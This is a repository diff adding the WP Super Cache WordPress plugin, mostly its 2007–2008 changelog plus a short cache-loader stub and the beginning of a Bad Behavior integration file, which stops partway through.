+	  can be manipulated before writing to cache file
+
+2008-11-14 13:00  donncha
+
+	* wp-cache-phase2.php: Move gzip header detection down
+
+2008-11-14 10:09  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Add gzip headers back
+	  if they are missing. Should fix problems with users seeing
+	  corrupted pages.
+
+2008-11-14 10:00  donncha
+
+	* readme.txt: Updated docs on file locking
+
+2008-11-11 17:28  donncha
+
+	* wp-cache-phase2.php: Write wp-cache php cache files to temporary
+	  files before moving into place.
+	  Increase gzip compression to 3
+	  If cron job failed to get mutex lock, try again in 10 minutes
+
+2008-11-07 09:43  donncha
+
+	* wp-cache.php: Use WP_CONTENT_URL in mod_rewrite rules.
+	  Use WP_CONTENT_DIR in WPCACHEHOME definition.
+
+2008-10-27 13:21  donncha
+
+	* readme.txt: Added links section and link to WP Widget Cache,
+	  props to Ben @ http://www.binarymoon.co.uk/
+	  Minor troubleshooting update
+
+2008-10-23 08:14  donncha
+
+	* wp-cache.php: wp_cache_check_global_config() fixes by joelhardi,
+	  http://wordpress.org/support/topic/211477?replies=1#post-879591
+
+2008-10-22 15:57  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-10-22 15:55  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.8.4
+
+2008-10-11 22:10  donncha
+
+	* wp-cache-phase2.php: Update the time of last gc
+
+2008-10-10 11:54  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Change garbage collection
+	  parameters to time rather than hits
+
+2008-10-08 16:06  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-10-08 16:04  donncha
+
+	* readme.txt, wp-cache.php: Bump version numbers to 0.8.3
+	  Updated docs
+
+2008-10-08 08:12  donncha
+
+	* readme.txt: Note for WPMU users,
+	  http://wordpress.org/support/topic/208770?replies=3#post-871207
+
+2008-10-07 12:03  donncha
+
+	* readme.txt: x-gzip->gzip
+
+2008-10-07 10:50  donncha
+
+	* readme.txt: Minor typo,
+	  http://wordpress.org/support/topic/208770?replies=1#post-870518
+
+2008-10-07 10:44  donncha
+
+	* plugins/searchengine.php: Don't overwrite logged in user details
+	  in searchengine plugin.
+
+2008-10-06 09:19  donncha
+
+	* wp-cache-phase1.php, wp-cache.php: Encode as gzip, not x-gzip as
+	  IE7 has problems with it. ref:
+	  http://bugs.typo3.org/view.php?id=4623
+
+2008-10-01 08:05  donncha
+
+	* readme.txt, wp-cache.php: Options -> Settings, thanks webmaestro
+	  http://wordpress.org/support/topic/207576?replies=2
+
+2008-09-29 09:29  donncha
+
+	* wp-cache.php: Only update "clear on post" setting when saving
+	  status options, thanks Viper007Bond
+
+2008-09-28 11:04  donncha
+
+	* wp-cache-phase2.php: Only create compressed data if required
+
+2008-09-28 06:16  donncha
+
+	* wp-cache-phase2.php: Compress cache files with "dynamic content"
+	  too
+
+2008-09-28 05:56  donncha
+
+	* wp-cache-phase2.php: Only compress cached files once. Nice speed
+	  boost!
+
+2008-09-28 05:46  donncha
+
+	* wp-cache-phase2.php: Write gzipped supercache files using fopen
+	  instead of gzopen
+
+2008-09-26 23:16  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-09-26 23:15  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number to 0.8.2
+
+2008-09-26 23:14  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php, wp-cache.php:
+	  Added $cache_rebuild_files setting to switch off "need rebuild"
+	  functionality by default
+
+2008-09-26 16:00  donncha
+
+	* wp-cache-phase2.php: On post change clear the front page
+
+2008-09-26 12:04  donncha
+
+	* wp-cache-phase2.php: Move cache writers entry up above supercache
+	  cleaning.
+	  Only clean individual posts, don't clear cache when no post_id
+
+2008-09-26 09:49  donncha
+
+	* wp-cache.php: Only show "Delete Cache" link to MU site admins or
+	  admins on WP blogs
+
+2008-09-25 12:47  donncha
+
+	* wp-cache.php: Save "wp_cache_clear_on_post_edit" properly, thanks
+	  HarryRAR,
+	  http://wordpress.org/support/topic/206371?replies=2#post-861998
+
+2008-09-25 11:12  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Can't clear cache on edit_post
+	  because leaving a comment calls edit_post unfortunately
+	  Experimental code to preserve supercache version of a page while
+	  it's being regenerated.
+
+2008-09-24 14:21  donncha
+
+	* wp-cache.php: Added "Delete Cache" link at top of admin pages
+
+2008-09-24 13:57  donncha
+
+	* Changelog.txt: Updated changelog, still release 0.8.1
+
+2008-09-24 13:03  donncha
+
+	* wp-cache-phase2.php: Added function to clear cache when a post is
+	  edited
+
+2008-09-24 13:02  donncha
+
+	* wp-cache.php: Added "Clear on edit" checkbox to clear all cache
+	  files when a post or page is edited
+
+2008-09-24 13:01  donncha
+
+	* wp-cache.php: Remove meta and supercache directories when
+	  deactivating
+
+2008-09-24 12:47  donncha
+
+	* wp-cache.php: Switch status messages around.
+
+2008-09-24 12:47  donncha
+
+	* wp-cache.php: Remove cache/.htaccess when uninstalling.
+
+2008-09-24 12:44  donncha
+
+	* readme.txt: Make mod mime and rewrite line clearer, hopefully
+
+2008-09-24 12:38  donncha
+
+	* wp-cache-phase2.php: comment_id typo
+	  Only clear supercache files if it's enabled
+
+2008-09-24 12:37  donncha
+
+	* readme.txt: Updated mod_rewrite rules and expiry/mime type rules
+
+2008-09-24 11:57  donncha
+
+	* Changelog.txt: Updated changelog for 0.8.1
+
+2008-09-24 11:57  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number
+
+2008-09-24 10:01  donncha
+
+	* wp-cache-phase2.php: Make the temporary filename world readable
+	  to avoid problems where Apache and PHP run as different users.
+	  Thanks Tigertech for the code.
+
+2008-09-24 09:57  donncha
+
+	* wp-cache-phase2.php: Check that rename worked, if not, remove
+	  cache file and rename again. Props tigertech
+
+2008-09-23 19:55  donncha
+
+	* wp-cache-phase2.php: Don't clear the supercache if it's not
+	  enabled (In blog context, when a moderated comment is made)
+
+2008-09-23 13:09  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-09-23 13:05  donncha
+
+	* readme.txt, wp-cache.php: Bump the version to 0.8
+
+2008-09-23 13:01  donncha
+
+	* wp-cache-phase1.php: Comment: reminder to update .htaccess rules
+	  if get_cookie cacheaction is used.
+
+2008-09-23 12:58  donncha
+
+	* wp-cache-phase1.php: Don't return if the $string is not ''
+
+2008-09-23 12:50  donncha
+
+	* wp-cache.php: Generate a semaphore id based on hostname and cache
+	  path, props Tigertech
+	  http://wordpress.org/support/topic/205195?replies=4#post-857610
+
+2008-09-23 11:14  donncha
+
+	* wp-cache.php: Make the expiry cleanup list an unordered list
+
+2008-09-23 11:06  donncha
+
+	* wp-cache-phase2.php: siteurl -> home for those who run WP in a
+	  different place
+
+2008-09-23 10:44  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php, wp-cache.php: No
+	  need for $super_cache_max_time
+
+2008-09-23 10:39  donncha
+
+	* wp-cache-phase2.php: On post change:
+	  1. Clear all files from permalink in supercache directory.
+	  2. Clear siteurl/page/ permalinks.
+	  3. Clear supercache files when corresponding php meta files are
+	  removed.
+
+2008-09-18 09:45  donncha
+
+	* wp-cache.php: Show mod_rewrite rules when .htaccess is RO, props
+	  Matt @ http://mattsblog.ca/
+
+2008-09-17 16:29  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Decrease the chance of
+	  cleanup.
+
+2008-09-17 11:01  donncha
+
+	* wp-cache.php: Don't server cached static files when url contains
+	  "=". Should avoid lots of problems with query strings
+
+2008-09-17 11:00  donncha
+
+	* wp-cache-phase2.php: Replace the siteurl correctly for those who
+	  have installed in a subdir, but access from the directory above.
+	  Thanks Viper007Bond.
+
+2008-09-16 13:01  donncha
+
+	* wp-cache.php: Check for WordPress MU because .htaccess can't be
+	  updated.
+	  Set cache control and expiry headers of supercached files. Cached
+	  for 5 minutes, but with "must-revalidate"
+
+2008-09-06 11:00  donncha
+
+	* wp-cache-phase2.php: Write cache files to a temporary file first,
+	  then rename. Rename should be atomic.
+
+2008-08-28 11:30  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-08-28 11:29  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number to 0.7.1
+
+2008-08-28 11:00  donncha
+
+	* wp-cache.php: Updated .htaccess code:
+	  Check that file is writable (again?)
+	  Fix warnings about upgrades.
+	  Bright yellow backgrounds on items that need attention
+	  Thanks Matt @ http://twitter.com/mattfreedman/statuses/901325274
+	  for reporting.
+
+2008-08-27 19:32  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-08-27 19:31  donncha
+
+	* readme.txt, wp-cache.php: Bump to 0.7, fix activation link
+
+2008-08-27 19:17  donncha
+
+	* Changelog.txt: Updated Changelog
+
+2008-08-27 19:16  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number to 0.6.8
+
+2008-08-27 18:59  donncha
+
+	* wp-cache.php: Added rules to redirect to urls ending with a "/",
+	  props Andylav and definitelynot,
+	  http://wordpress.org/support/topic/199542?replies=6
+
+2008-08-21 16:41  donncha
+
+	* wp-cache.php: Change menu options url
+
+2008-08-20 11:47  donncha
+
+	* Changelog.txt: Update Changelog
+
+2008-08-20 10:49  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.6.7
+
+2008-08-20 09:38  donncha
+
+	* wp-cache.php: Added CRs
+
+2008-08-20 09:01  donncha
+
+	* wp-cache.php: Added apache_request_headers() as suggested in
+	  http://wordpress.org/support/topic/197053
+
+2008-08-19 16:27  donncha
+
+	* plugins/searchengine.php, wp-cache.php: Updated styling with the
+	  help of the simple trackback validation plugin
+
+2008-08-19 15:11  donncha
+
+	* wp-cache-config-sample.php: Don't include rss files in cacheable
+	  list
+
+2008-08-19 15:05  donncha
+
+	* wp-cache.php: Added "deactivation hook" to remove
+	  advanced-cache.php and wp-cache-config.php and cached files.
+
+2008-08-14 10:39  donncha
+
+	* wp-cache-phase1.php: Only include once
+
+2008-08-14 09:14  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Cron fixed from Mike
+
+2008-08-13 12:52  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Fixes from Mike Beggs:
+	  Use custom is_writeable() that works in Win32 NTFS
+	  Update "Vary" header
+	  Let WP Cron handle cache cleaning.
+	  Don't let mod_deflate try to compress gzipped cached files
+
+2008-08-09 10:13  donncha
+
+	* wp-cache-phase2.php: Use get_comment(), props Lazy @
+	  http://www.lazybrain.de/
+
+2008-07-31 15:53  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-07-31 10:47  donncha
+
+	* readme.txt, wp-cache.php: Bump version numbers
+
+2008-07-29 19:52  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase1.php, wp-cache.php: WP
+	  2.6 fixes. Use WP_CONTENT_DIR. Have not added to .htaccess rules
+	  yet
+
+2008-07-28 09:37  donncha
+
+	* readme.txt, wp-cache.php: Change wp-super-cache expiry to 3600
+	  seconds.
+	  Avoid foreach error on empty directories
+	  Minor change to status message
+
+2008-07-24 16:26  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Removed debug error log
+	  Catch 404 file not found requests when themes use query_posts()
+
+2008-07-24 13:17  donncha
+
+	* wp-cache-phase2.php: If we can't get a file lock, warn user.
+
+2008-07-23 18:30  donncha
+
+	* readme.txt: Update FAQ on cache times.
+
+2008-07-23 18:27  donncha
+
+	* readme.txt, wp-cache.php: Added p= parameter to htacess rules so
+	  they'll be served by wp-cache only,
+	  http://wordpress.org/support/topic/191275?replies=3
+
+2008-07-17 09:48  donncha
+
+	* wp-cache.php: Handle if wp-config.php has been moved ../ in
+	  WordPress 2.6
+
+2008-07-16 11:12  donncha
+
+	* wp-cache.php: Don't warn the user wp-content is writable if
+	  webserver is running as user.
+	  Create correct .htaccess rules when WordPress is installed in a
+	  different location. Both fixes props Allan Bazinet @
+	  http://sneezingfrog.com/blog/
+
+2008-07-15 10:17  donncha
+
+	* Changelog.txt: Update changelog
+
+2008-07-15 10:15  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number to 0.6.5
+
+2008-07-15 10:14  donncha
+
+	* readme.txt: Add "Subscribe to comments" rule to readme
+
+2008-07-15 10:11  donncha
+
+	* wp-cache-phase1.php: Use comment_author instead of email in case
+	  email isn't mandatory. props rhapsodyv @
+	  http://wordpress.org/support/topic/188775
+
+2008-07-14 10:42  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Added "wp_cache_gc" option
+	  Allow chance of garbage collection to be configurable.
+
+2008-07-14 10:06  donncha
+
+	* readme.txt: If caching doesn't work, it could be
+	  advanced-cache.php
+
+2008-07-14 09:53  donncha
+
+	* wp-cache.php: Added Subscribe To Comments exclusion rewrite rule
+
+2008-07-14 09:52  donncha
+
+	* wp-cache.php: Warn if wp-content is writable, props alexleonard,
+	  http://wordpress.org/support/topic/188530
+
+2008-07-08 10:41  donncha
+
+	* wp-cache-phase2.php: Remove extra pages generated at the current
+	  permalink. ie. paged comments.
+
+2008-06-20 16:16  donncha
+
+	* wp-cache.php: Only need the config file writable to change it
+
+2008-06-16 09:08  donncha
+
+	* wp-cache-phase2.php: Increase the chance of expired file cleanup
+
+2008-06-16 09:07  donncha
+
+	* wp-cache-phase2.php: Warn if page is a 404 or not complete and
+	  won't be cached
+
+2008-06-12 09:53  donncha
+
+	* readme.txt: Add troubleshooting message for Dreamhost users
+
+2008-05-26 09:12  donncha
+
+	* wp-cache-phase2.php: Use [] instead of {} for array indexes
+	  Fix warning notices
+
+2008-05-14 16:22  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-05-14 16:19  donncha
+
+	* readme.txt, wp-cache-phase2.php, wp-cache.php: Remove comment.
+	  Bump version number
+
+2008-05-14 12:21  donncha
+
+	* wp-cache-phase2.php: Clean up the supercache if no post_id is
+	  defined
+
+2008-05-14 12:11  donncha
+
+	* wp-cache.php: Move menu code up
+
+2008-05-13 14:57  donncha
+
+	* wp-cache-phase2.php: Only prune files in the supercache directory
+	  Remove expired files 1/500's of the time
+
+2008-05-11 08:51  donncha
+
+	* wp-cache.php: Allow the "digg proof" message to be styled
+	  Removed whitespace
+
+2008-05-05 09:49  donncha
+
+	* wp-cache-phase1.php: Removed Last-Modified header so plugin works
+	  on godaddy servers. props Brad @
+	  http://www.littleredrails.com/blog/2007/09/08/using-wp-cache-on-godaddy-500-error/
+
+2008-05-05 09:44  donncha
+
+	* readme.txt, wp-cache.php: Added rewrite rules to stop POST
+	  requests to html static files. props eharris @
+	  http://wordpress.org/support/topic/173972?replies=2
+
+2008-04-24 19:14  donncha
+
+	* Changelog.txt: Update Changelog
+
+2008-04-24 19:14  donncha
+
+	* readme.txt: Added changelog link
+	  Added attachment_id mod_rewrite rule
+
+2008-04-24 19:11  donncha
+
+	* Changelog.txt: Updated Changelog
+
+2008-04-24 19:09  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number
+
+2008-04-24 15:45  donncha
+
+	* wp-cache-phase2.php: Put "could not write" message in a HTML
+	  comment at the end of the current page.
+
+2008-04-20 07:48  donncha
+
+	* wp-cache.php: Use blog charset for encoding.
+	  Don't supercache attachment pages, props Callum
+
+2008-04-17 09:23  donncha
+
+	* wp-cache.php: Make sure files are served as UTF-8, props
+	  tanguillo and nikolayb
+	  http://wordpress.org/support/topic/169540?replies=3
+
+2008-04-12 07:06  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-04-12 07:05  donncha
+
+	* readme.txt, wp-cache.php: Bump version number and update
+	  .htaccess example code
+
+2008-04-11 23:30  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Remove "index.php" from
+	  cached file paths
+
+2008-04-11 23:17  donncha
+
+	* wp-cache-config-sample.php, wp-cache.php: Add index.php to list
+	  of not to be cached pages
+	  Minor typo fix
+
+2008-04-08 09:51  donncha
+
+	* wp-cache.php: Delete all contents of cache dir, not just
+	  supercachedir when caching disabled.
+
+2008-04-04 11:59  donncha
+
+	* wp-cache.php: wp_specialchars the rules
+
+2008-04-01 11:31  donncha
+
+	* wp-cache.php: Added wpsc_remove_marker() to remove WordPress
+	  rewrite rules
+	  Super Cache rules now go in the WPSuperCache marker
+	  Check for comment cookie in one line, props askapache
+
+2008-03-31 08:42  donncha
+
+	* wp-cache.php: wp_specialchars() the mod_rewrite rules, props
+	  Viper007Bond
+
+2008-03-30 10:42  donncha
+
+	* readme.txt, wp-cache.php: Bump the version numbers
+
+2008-03-30 10:41  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-03-30 10:41  donncha
+
+	* wp-cache.php: Warn if mod_rewrite rules are out of date and
+	  encourage user to remove or update them manually
+
+2008-03-30 10:26  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-03-28 17:37  donncha
+
+	* wp-cache.php: Login cookie got shortened to "wordpress" in 2.5,
+	  still backwards compatible
+
+2008-03-28 17:22  donncha
+
+	* wp-cache.php: Move toggleLayer js around
+
+2008-03-13 11:37  donncha
+
+	* readme.txt, wp-cache.php: Bump to 0.6
+
+2008-03-13 11:34  donncha
+
+	* readme.txt: Added compression FAQ
+
+2008-03-13 11:28  donncha
+
+	* wp-cache.php: Only require mod_rewrite if super cache is enabled
+	  Hide super cache parts of page when not activated
+	  Add "/" to mod_rewrite rules for URLs not ending in a /, props
+	  Michael R Aulia @ http://www.michaelaulia.com/blogs/
+
+2008-03-13 11:25  donncha
+
+	* readme.txt: Updated documentation
+
+2008-03-12 18:55  donncha
+
+	* wp-cache-phase2.php: This somehow stops PHP creating directories
+	  in the root folder, thanks to Cherie and Jennifer for their
+	  invaluable help!
+
+2008-03-12 17:00  donncha
+
+	* wp-cache.php: No need for this message any more
+
+2008-03-11 13:04  donncha
+
+	* wp-cache.php: Don't auto update .htaccess until user wants to.
+	  Hide listing of cached files, it's wrong anyway.
+	  Move advanced features to the end of backend page.
+
+2008-02-11 20:52  donncha
+
+	* readme.txt, wp-cache.php: You must define things before loading
+	  WordPress! (props s2j @
+	  http://wordpress.org/support/topic/154996?replies=12#post-691402
+	  )
+
+2008-02-08 10:27  donncha
+
+	* wp-cache.php: Remember to delete compressed files from directly
+	  cached folders, props John Pozadzides
+
+2008-01-16 12:14  donncha
+
+	* Changelog.txt: Update changelog
+
+2008-01-16 12:13  donncha
+
+	* readme.txt, wp-cache.php: Bump version number
+	  Make admin page readonly if configuration page cannot be written
+	  to
+
+2008-01-04 11:23  donncha
+
+	* Changelog.txt, readme.txt, wp-cache.php: Bump version and update
+	  changelog
+
+2008-01-04 11:22  donncha
+
+	* wp-cache.php: Only update the hello_world option when updating
+	  the right form
+
+2008-01-04 10:41  donncha
+
+	* readme.txt, wp-cache.php: Bump version number
+
+2008-01-04 10:40  donncha
+
+	* wp-cache.php: Rearrange .htaccess generator.
+	  Allow mod_rewrite rules to be viewed later
+	  Only create wp-content/cache/.htaccess if it doesn't exist
+
+2008-01-04 10:16  donncha
+
+	* wp-cache.php: Added Super Cache footer message
+
+2008-01-03 22:29  donncha
+
+	* wp-cache.php: More fixes for sub directory blogs, props Otto42 -
+	  http://wordpress.org/support/topic/146443?replies=9#post-664254
+
+2007-12-16 11:07  donncha
+
+	* wp-cache.php: Warn if ABSPATH is writeable
+	  Add $home_root to cached files path in rewrite rules
+	  make mod_rewrite module warning more verbose
+
+2007-12-09 07:39  donncha
+
+	* wp-cache-phase2.php: Hide unlink errors
+
+2007-12-04 10:18  donncha
+
+	* wp-cache-phase2.php: Check that mutex is set,
+	  http://wordpress.org/support/topic/146052?replies=4
+
+2007-11-28 11:29  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Check that $entries is not
+	  empty
+	  Don't ever recurse from ABSPATH up
+
+2007-11-26 11:33  donncha
+
+	* Changelog.txt: Updated changelog
+
+2007-11-26 11:32  donncha
+
+	* wp-cache.php: It's WPLOCKDOWN
+
+2007-11-26 11:31  donncha
+
+	* Changelog.txt: Updated Changelog
+
+2007-11-26 11:30  donncha
+
+	* readme.txt, wp-cache.php: Bump the version number
+	  Docs for lockdown
+
+2007-11-26 11:17  donncha
+
+	* wp-cache.php: Bumpy bumpy
+
+2007-11-26 11:12  donncha
+
+	* Changelog.txt: Updated Changelog
+
+2007-11-26 11:11  donncha
+
+	* readme.txt: Bump version
+
+2007-11-26 11:07  donncha
+
+	* readme.txt: Warn about safe mode
+
+2007-11-26 10:56  donncha
+
+	* wp-cache.php: Print a warning message if PHP safe mode is
+	  enabled.
+	  Super Cache plugins will fail silently if advanced-cache.php is
+	  not loaded
+	  Updated "Directly Cached Files" text
+
+2007-11-16 21:56  donncha
+
+	* plugins/searchengine.php, wp-cache-phase1.php,
+	  wp-cache-phase2.php, wp-cache.php: Added &raquo;
+	  Updated formatting of admin backend
+	  Added "direct caching" of pages.
+
+2007-11-12 21:23  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: PHP 5's mkdir() doesn't like
+	  slashes, http://ie2.php.net/manual/en/function.mkdir.php#73848 -
+	  props Tummmbler
+
+2007-11-12 15:26  donncha
+
+	* Changelog.txt: Updated changelog
+
+2007-11-12 15:23  donncha
+
+	* readme.txt, wp-cache.php: Bump version
+	  Update readme docs
+	  Add options page for wpmu site admins
+
+2007-11-12 11:32  donncha
+
+	* wp-cache.php: Check if cache config file is out of date
+
+2007-11-12 11:14  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Hide some warning messages
+	  Don't super cache $_GET requests
+	  Use wp_mkdir_p() instead of mkpath()
+	  Don't delete meta, supercache or .htaccess
+
+2007-11-11 10:05  donncha
+
+	* wp-cache.php: Don't want to check for .gz files twice!
+
+2007-11-11 08:06  donncha
+
+	* wp-cache.php: Added 'comment moderation' message when blog locked
+	  down.
+	  Formatting changes
+	  Use 'manage_options' instead of administrator because viper
+	  changed his role names :)
+
+2007-11-11 01:13  donncha
+
+	* wp-cache.php: If .htaccess updating fails, inform the user
+
+2007-11-11 00:20  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Added "Lockdown" function so
+	  static files won't be deleted by comments
+	  Minor changes to admin page formatting
+	  get_settings to get_option
+
+2007-11-10 21:06  donncha
+
+	* wp-cache.php: Spell out radio boxes a bit more.
+	  Modified .htaccess rules so search pages aren't served from super
+	  cache
+	  Actually insert_with_markers instead of echoing the command!
+	  Tell user rules have been updated
+	  Disable super cache *before* renaming directory. Sleep for a
+	  second before
+	  deleting to allow other processes to finish
+
+2007-11-10 20:03  donncha
+
+	* wp-cache-phase2.php: Make sure the .htaccess isn't deleted
+
+2007-11-10 09:28  donncha
+
+	* wp-cache-phase2.php: Don't remove super-cache file until comment
+	  is approved
+
+2007-11-10 07:19  donncha
+
+	* wp-cache.php: Check that WP_CACHE is defined before checking for
+	  do_cacheaction.
+	  Better instructions for verifying a new install
+
+2007-11-09 21:33  donncha
+
+	* wp-cache.php: Define WPCACHEHOME properly, thanks tummbler for
+	  testing!
+
+2007-11-09 17:09  donncha
+
+	* wp-cache-phase2.php: Don't super-cache WordPress searches. May
+	  need to extend that to any GET activity
+
+2007-11-09 15:01  donncha
+
+	* wp-cache-phase2.php: Change preg_match delimiter so slashes work
+	  again
+
+2007-11-09 14:41  donncha
+
+	* readme.txt: Updated documentation
+
+2007-11-09 14:27  donncha
+
+	* wp-cache.php: Use get_mod_rewrite() to detect if that module is
+	  loaded
+	  Automatically populate the .htaccess file if it's writable
+	  Add gzip encoding rules to the cache dir, props Dennis @
+	  http://allmybrain.com/2007/11/08/making-wp-super-cache-gzip-compression-work/
+	  Replace Windows folder deliminator, "\" with "/" in WPCACHEHOME,
+	  props Computer Guru @
+	  http://neosmart.net/blog/2007/getting-wordpress-super-cache-to-run-on-a-windows-iis-or-apache-server/
+
+2007-11-09 01:19  donncha
+
+	* wp-cache-phase2.php: Move is_feed() check earlier.
+	  Check that mkpath() path is in $cache_path
+
+2007-11-08 21:57  donncha
+
+	* wp-cache.php: Single quote ABSPATH
+	  Check advanced-cache.php for version, remove if necessary, fixed
+	  create conditions
+
+2007-11-08 21:55  donncha
+
+	* wp-cache-phase1.php: realpath() two filenames
+
+2007-11-08 21:53  donncha
+
+	* readme.txt: Fix subdirectory .htaccess rules, props Computer Guru
+
+2007-11-08 21:51  donncha
+
+	* plugins/searchengine.php: Hide setcookie errors
+	  Return correct string
+
+2007-11-07 15:38  donncha
+
+	* Changelog.txt: Added Changelog.txt
+
+2007-11-07 15:27  donncha
+
+	* readme.txt: Bump version to 0.3.1 (getting to 1.0 far too
+	  quickly!)
+	  Change formatting again
+
+2007-11-07 15:26  donncha
+
+	* wp-cache.php: Bump version to 0.3.1
+
+2007-11-07 15:26  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php: Use preg_match()
+	  to match rejected URIs.
+	  Change "wp-" to "wp-.*.php" to match files and paths starting
+	  with "wp-" and ending in "php"
+
+2007-11-07 11:56  donncha
+
+	* wp-cache.php: Bump the version number
+
+2007-11-06 22:50  donncha
+
+	* readme.txt: Bump version
+
+2007-11-06 22:18  donncha
+
+	* wp-cache-phase2.php: Fix feed content-type, props Dougal,
+	  (http://dougal.gunters.org/blog/2007/06/19/wp-cache-fix-for-content-type-in-feeds)
+
+2007-11-06 22:15  donncha
+
+	* wp-cache.php: Check the do_cacheaction() exists
+	  Copy file if symlink is not found
+
+2007-11-06 21:44  donncha
+
+	* wp-cache.php: Move WP Super Cache to "Site Admin" menu on
+	  WordPress MU,
+	  http://www.darcynorman.net/2007/11/06/wordpress-super-cache/
+
+2007-11-06 21:19  donncha
+
+	* wp-cache-phase1.php: Don't compress WP-Cache data files is PHP is
+	  already doing it
+
+2007-11-06 10:29  donncha
+
+	* readme.txt: Minor typo in tag
+
+2007-11-06 10:06  donncha
+
+	* readme.txt, wp-cache-phase1.php, wp-cache-phase2.php,
+	  wp-cache.php: Bump the version to 0.2
+	  Enable gzip support in WP-Cache data files, fix feed content
+	  type, props tummbler:
+	  http://www.tummblr.com/wordpress/improving-wp-super-cache-gzip-for-logged-in-users/
+	  http://elliottback.com/wp/archives/2005/07/12/getting-wp-cache-to-work/
+	  http://blog.saddey.net/2007/02/18/how-to-prevent-wpcache-from-changing-a-feeds-content-type-to-text-html/
+	  When Super Cache is disabled, still write to WP-Cache files
+	  Check that prune_super_cache() exists before calling it in
+	  wp-cache.php, props Dougal
+
+2007-11-06 09:06  donncha
+
+	* readme.txt: Fix line endings
+
+2007-11-05 18:41  donncha
+
+	* wp-cache.php: Fixed display of "compression changed" message
+
+2007-11-05 18:06  donncha
+
+	* readme.txt: Convert to DOS mode
+	  reformat lists for display on wporg
+
+2007-11-05 17:25  donncha
+
+	* readme.txt: Minor updates to the readme
+
+2007-11-05 15:21  donncha
+
+	* wp-cache.php: When disabling or enabling compression make sure
+	  the user knows about .htaccess
+
+2007-11-05 15:11  donncha
+
+	* wp-cache-phase2.php: Rejected URIs must have .php in them now so
+	  pages starting with "wp-" will be cached
+
+2007-11-05 15:10  donncha
+
+	* wp-cache.php: When disabling supercache, make sure wpcache is
+	  enabled.
+	  Avoid resetting cache_compression when submitting other forms
+	  Reset supercache meta cache when compression modified
+
+2007-11-05 14:54  donncha
+
+	* wp-cache-config-sample.php, wp-cache.php: Fix weirdness with
+	  radio buttons on admin page
+
+2007-11-05 11:35  donncha
+
+	* plugins, plugins/searchengine.php, readme.txt, wp-cache-base.php,
+	  wp-cache-config-sample.php, wp-cache-phase1.php,
+	  wp-cache-phase2.php, wp-cache.php: Initial import of WP Super
+	  Cache
+
+2007-10-23 20:02  plugin-master
+
+	* wp-super-cache, wp-super-cache/branches, wp-super-cache/tags, .:
+	  adding wp-super-cache by donncha
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/advanced-cache.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/advanced-cache.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/advanced-cache.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+# WP SUPER CACHE 0.8.9.1
+function wpcache_broken_message() {
+	if ( false == strpos( $_SERVER[ 'REQUEST_URI' ], 'wp-admin' ) )
+		echo "<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->";
+}
+
+if ( !include_once( 'CACHEHOME' . 'wp-cache-phase1.php' ) ) {
+	if ( !@is_file( 'CACHEHOME' . 'wp-cache-phase1.php' ) )
+		register_shutdown_function( 'wpcache_broken_message' );
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/badbehaviour.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/badbehaviour.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/badbehaviour.php	(revision 44)
@@ -0,0 +1,74 @@
+<?php
+
+function wp_supercache_badbehaviour( $file ) {
+	global $cache_badbehaviour;
+
+	if( $cache_badbehaviour != 1 )
+		return $file;
+	wp_supercache_badbehaviour_include();
+	return $file;
+}
+add_cacheaction( 'wp_cache_served_cache_file', 'wp_supercache_badbehaviour' );
+
+function wp_supercache_badbehaviour_include() {
+	$bbfile = get_bb_file_loc();
+	if( !$bbfile )
+		require_once( $bbfile );
+}
+
+function get_bb_file_loc() {
+	global $cache_badbehaviour_file;
+	if( $cache_badbehaviour_file )
+		return $cache_badbehaviour_file;
+
+	if( file_exists( WP_CONTENT_DIR . '/plugins/bad-behavior/bad-behavior-generic.php' ) ) {
+		$bbfile = WP_CONTENT_DIR . '/plugins/bad-behavior/bad-behavior-generic.php';
+	} elseif( file_exists( WP_CONTENT_DIR . '/plugins/Bad-Behavior/bad-behavior-generic.php' ) ) {
+		$bbfile = WP_CONTENT_DIR . '/plugins/Bad-Behavior/bad-behavior-generic.php';
+	} else {
+		$bbfile = false;
+	}
+	return $bbfile;
+}
+
